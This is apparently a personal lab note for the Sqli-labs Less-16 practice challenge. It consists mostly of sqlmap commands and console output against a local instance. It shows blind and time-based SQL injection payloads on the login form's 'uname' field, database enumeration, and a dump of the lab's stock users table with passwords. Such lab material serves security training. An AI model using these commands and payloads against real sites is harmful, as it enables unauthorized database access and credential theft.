Sqli-labs 16
C:\Users\dell>sqlmap.py -u "http://localhost/sqli-labs/Less-16/" --forms --level 3 --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.5.12.3#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:46:41 /2021-12-19/
[19:46:41] [INFO] testing connection to the target URL
[19:46:41] [INFO] searching for forms
[1/1] Form:
POST http://localhost/sqli-labs/Less-16/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
>
Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n]
[19:46:51] [INFO] using 'C:\Users\dell\AppData\Local\sqlmap\output\results-12192021_0746pm.csv' as the CSV results file in multiple targets mode
[19:46:51] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:46:51] [INFO] testing if the target URL content is stable
[19:46:52] [INFO] target URL content is stable
[19:46:52] [INFO] testing if POST parameter 'uname' is dynamic
[19:46:52] [WARNING] POST parameter 'uname' does not appear to be dynamic
[19:46:52] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable
[19:46:52] [INFO] testing for SQL injection on POST parameter 'uname'
[19:46:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:46:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[19:46:53] [INFO] POST parameter 'uname' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[19:46:53] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n]
[19:46:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:46:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[19:46:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[19:46:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[19:46:56] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[19:46:56] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[19:46:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[19:46:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[19:46:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:46:57] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:46:57] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:46:57] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[19:46:57] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:46:57] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[19:46:57] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[19:46:57] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[19:46:57] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[19:46:57] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[19:46:57] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[19:46:57] [INFO] testing 'Generic inline queries'
[19:46:57] [INFO] testing 'MySQL inline queries'
[19:46:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:46:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:46:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[19:46:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[19:46:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[19:46:57] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[19:46:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:47:07] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[19:47:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:47:07] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:47:07] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:47:07] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N]
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[19:47:15] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:47:15] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[19:47:27] [INFO] testing 'Generic UNION query (59) - 21 to 40 columns'
[19:47:27] [INFO] testing 'Generic UNION query (59) - 41 to 60 columns'
[19:47:28] [INFO] testing 'MySQL UNION query (59) - 1 to 20 columns'
[19:47:28] [INFO] testing 'MySQL UNION query (59) - 21 to 40 columns'
[19:47:29] [INFO] testing 'MySQL UNION query (59) - 41 to 60 columns'
[19:47:29] [INFO] testing 'MySQL UNION query (59) - 61 to 80 columns'
[19:47:29] [INFO] testing 'MySQL UNION query (59) - 81 to 100 columns'
[19:47:30] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 330 HTTP(s) requests:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: uname=jBNZ") AND 9531=(SELECT (CASE WHEN (9531=9531) THEN 9531 ELSE (SELECT 9117 UNION SELECT 7446) END))-- muhr&passwd=&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=jBNZ") AND (SELECT 4699 FROM (SELECT(SLEEP(5)))vavl) AND ("yXBM"="yXBM&passwd=&submit=Submit
---
do you want to exploit this SQL injection? [Y/n]
[19:47:39] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.12, Apache 2.4.51
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[19:47:39] [INFO] fetching database names
[19:47:39] [INFO] fetching number of databases
[19:47:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:47:39] [INFO] retrieved: 7
[19:47:39] [INFO] retrieved: information_schema
[19:47:41] [INFO] retrieved: challenges
[19:47:42] [INFO] retrieved: mysql
[19:47:43] [INFO] retrieved: performance_schema
[19:47:45] [INFO] retrieved: phpmyadmin
[19:47:46] [INFO] retrieved: security
[19:47:47] [INFO] retrieved: test
available databases [7]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] security
[*] test
[19:47:47] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'C:\Users\dell\AppData\Local\sqlmap\output\results-12192021_0746pm.csv'
[*] ending @ 19:47:47 /2021-12-19/
要用–level 3
直接爆用户密码
C:\Users\dell>sqlmap.py -u "http://localhost/sqli-labs/Less-16/" --level 3 -forms -D security -T users -C id,username,password --dump
___
__H__
___ ___[,]_____ ___ ___ {1.5.12.3#dev}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:49:28 /2021-12-19/
[19:49:28] [INFO] testing connection to the target URL
[19:49:28] [INFO] searching for forms
[1/1] Form:
POST http://localhost/sqli-labs/Less-16/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
>
Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n]
[19:49:30] [INFO] resuming back-end DBMS 'mysql'
[19:49:30] [INFO] using 'C:\Users\dell\AppData\Local\sqlmap\output\results-12192021_0749pm.csv' as the CSV results file in multiple targets mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: uname=jBNZ") AND 9531=(SELECT (CASE WHEN (9531=9531) THEN 9531 ELSE (SELECT 9117 UNION SELECT 7446) END))-- muhr&passwd=&submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=jBNZ") AND (SELECT 4699 FROM (SELECT(SLEEP(5)))vavl) AND ("yXBM"="yXBM&passwd=&submit=Submit
---
do you want to exploit this SQL injection? [Y/n]
[19:49:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.12, Apache 2.4.51
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[19:49:34] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'security'
[19:49:34] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'security'
[19:49:34] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:49:34] [INFO] retrieved: 13
[19:49:35] [INFO] retrieved: 1
[19:49:35] [INFO] retrieved: Dumb
[19:49:35] [INFO] retrieved: Dumb
[19:49:36] [INFO] retrieved: 2
[19:49:36] [INFO] retrieved: I-kill-you
[19:49:37] [INFO] retrieved: Angelina
[19:49:38] [INFO] retrieved: 3
[19:49:38] [INFO] retrieved: p@ssword
[19:49:39] [INFO] retrieved: Dummy
[19:49:40] [INFO] retrieved: 4
[19:49:40] [INFO] retrieved: crappy
[19:49:41] [INFO] retrieved: secure
[19:49:42] [INFO] retrieved: 5
[19:49:42] [INFO] retrieved: stupidity
[19:49:43] [INFO] retrieved: stupid
[19:49:44] [INFO] retrieved: 6
[19:49:44] [INFO] retrieved: genious
[19:49:45] [INFO] retrieved: superman
[19:49:46] [INFO] retrieved: 7
[19:49:46] [INFO] retrieved: mob!le
[19:49:47] [INFO] retrieved: batman
[19:49:48] [INFO] retrieved: 8
[19:49:48] [INFO] retrieved: admin
[19:49:49] [INFO] retrieved: admin
[19:49:49] [INFO] retrieved: 9
[19:49:49] [INFO] retrieved: admin1
[19:49:50] [INFO] retrieved: admin1
[19:49:51] [INFO] retrieved: 10
[19:49:51] [INFO] retrieved: admin2
[19:49:52] [INFO] retrieved: admin2
[19:49:53] [INFO] retrieved: 11
[19:49:53] [INFO] retrieved: admin3
[19:49:54] [INFO] retrieved: admin3
[19:49:54] [INFO] retrieved: 12
[19:49:55] [INFO] retrieved: dumbo
[19:49:55] [INFO] retrieved: dhakkan
[19:49:56] [INFO] retrieved: 14
[19:49:56] [INFO] retrieved: admin4
[19:49:57] [INFO] retrieved: admin4
Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
[19:49:58] [INFO] table 'security.users' dumped to CSV file 'C:\Users\dell\AppData\Local\sqlmap\output\localhost\dump\security\users.csv'
[19:49:58] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'C:\Users\dell\AppData\Local\sqlmap\output\results-12192021_0749pm.csv'
[*] ending @ 19:49:58 /2021-12-19/